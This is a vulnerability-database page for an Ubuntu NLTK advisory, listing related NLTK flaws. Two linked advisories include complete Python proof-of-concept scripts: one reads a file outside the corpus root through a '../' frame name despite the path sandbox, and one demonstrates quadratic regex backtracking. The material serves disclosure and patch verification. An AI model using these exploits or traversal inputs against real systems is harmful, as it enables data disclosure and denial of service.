USN-7365-1: nltk Ubuntu
CVSS: UnknownPublished
Published 24-03-2025Last modified 25-06-2026
Vulnerability summary
USN-7365-1 is a vulnerability in nltk Ubuntu with no CVSS score yet.
CVSS score
Not scored
010
No CVSS score recordedEPSS score
Not scored
0%100%
No EPSS score yetKEVNot listedIn no KEV catalog
RansomwareNone recordedNo known use recorded
Public exploits0No public exploits recorded
Advisory lineage
Upstream 2 · Downstream 0 · Related 2Timeline
- 24-03-2025PublishedVulnerability first disclosed.
- 25-06-2026Last modifiedVulnerability information updated.
Description
nltk vulnerabilities It was discovered that NLTK contained a regex that is susceptible to catastrophic backtracking. An attacker could possibly use this issue to cause a denial of service. (CVE-2021-3842, CVE-2021-43854)
CVSS metrics
Risk metrics not yet published.
EPSS trend
No EPSS score has been published for this record yet.
Known exploited
Compare KEV catalogsNot in any of the 3 tracked catalogs.
Public exploits
0 foundNo public exploits indexed.
Weaknesses
CWE · root causeNo weakness data has been published for this record.
Affected systems
Ubuntu1 product
- nltk< 2.0~b9-0ubuntu4.1~esm4 | < 3.1-1ubuntu0.1+esm2 | < 3.2.5-1ubuntu0.1+esm2 | < 3.4.5-2ubuntu0.1~esm2
1 vendor · 1 product
References
3 linksRelated vulnerabilities
CVE-2026-109956debiannltk+20.32%NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths. Attackers controlling the model_filename or model argument can make the weka JVM write files via -d or probe files via -l outside allowed data roots.USN-8302-1ubuntunltknltk vulnerabilities
It was discovered that NLTK incorrectly validated file paths when
opening files using the nltk.util module. An attacker could possibly
use this issue to obtain sensitive information. (CVE-2026-0846)
It was discovered that NLTK incorrectly validated file paths in
multiple CorpusReader classes. An attacker could possibly use
this issue to obtain sensitive information. (CVE-2026-0847)
It was discovered that NLTK did not properly validate external
Java archive files loaded by StanfordSegmenter. An attacker
could possibly use this issue to execute arbitrary code. This
issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu
22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS.
(CVE-2026-0848)
It was discovered that NLTK's WordNet browser application
incorrectly handled user-supplied input. An attacker could
possibly use this issue to perform a cross-site scripting
attack. (CVE-2026-33230)
It was discovered that NLTK's WordNet browser application did
not restrict access to the shutdown endpoint. A remote attacker
could possibly use this issue to cause a denial of service.
(CVE-2026-33231)
It was discovered that NLTK's downloader did not validate path
attributes in remote XML index files. An attacker could possibly
use this issue to create or overwrite arbitrary files.
(CVE-2026-33236)USN-8214-1ubuntunltknltk vulnerability
It was discovered that NLTK incorrectly handled file extraction when
opening a maliciously crafted zip file. An attacker could possibly use this
issue to create or overwrite files on the system and execute arbitrary
code.CVE-2026-12841debiannltk+1[Unknown description]CVE-2026-12074chainguardnemo+5Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
### Summary
`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
### Details
`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.
The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
- `doc()` — uses the index entry `filename` field
- the lexical-unit file loader — uses the `lexUnit` ID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
### PoC
```python
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
```
### Impact
- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.
- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.
- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.
- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.
- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.CVE-2026-12061chainguardnemo+5Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
### Summary
`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`.
### Details
The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.
### PoC
```
import multiprocessing as mp
import re
import time
# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
# A generous bound (real feature labels are short noun phrases) makes the
# run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)
TIMEOUT = 20.0 # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line
def _bad_line(n_words):
"""A long line of plain words with NO trailing bracketed annotation."""
return ("word " * n_words).rstrip()
def _worker(pattern_str, line, q):
pat = re.compile(pattern_str)
t0 = time.perf_counter()
pat.findall(line)
q.put(time.perf_counter() - t0)
def timed_findall(pattern, line, timeout=TIMEOUT):
"""Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
q = mp.Queue()
p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
p.start()
p.join(timeout)
if p.is_alive():
p.terminate()
p.join()
return None
return q.get() if not q.empty() else None
def bench(label, pattern):
print(f"\n[{label}] pattern: {pattern.pattern}")
print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}")
prev = None
for n in SIZES:
line = _bad_line(n)
t = timed_findall(pattern, line)
if t is None:
print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}")
prev = None
else:
ratio = f"{t/prev:.1f}x" if prev else "--"
print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}")
prev = t
def parity_check():
"""The bound must NOT change extraction on a realistic annotated line."""
real = (
"the picture quality[+2] and battery life[+1] are great but "
"the lens cap[-1] feels cheap and the menu system[-2] is slow"
)
a = FEATURES_VULN.findall(real)
b = FEATURES_FIXED.findall(real)
print("\n[parity] realistic annotated line — extraction must be identical")
print(f" vulnerable regex -> {a}")
print(f" bounded regex -> {b}")
print(f" identical: {a == b}")
return a == b
def main():
print("=" * 66)
print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
print("=" * 66)
print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")
bench("VULNERABLE reviews.py L70-71", FEATURES_VULN)
bench("BOUNDED fix #3583", FEATURES_FIXED)
same = parity_check()
print("\n" + "=" * 66)
print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms")
print(f" Extraction parity on real annotations preserved: {same}")
print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
print("=" * 66)
if __name__ == "__main__":
main()
```
### Impact
Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.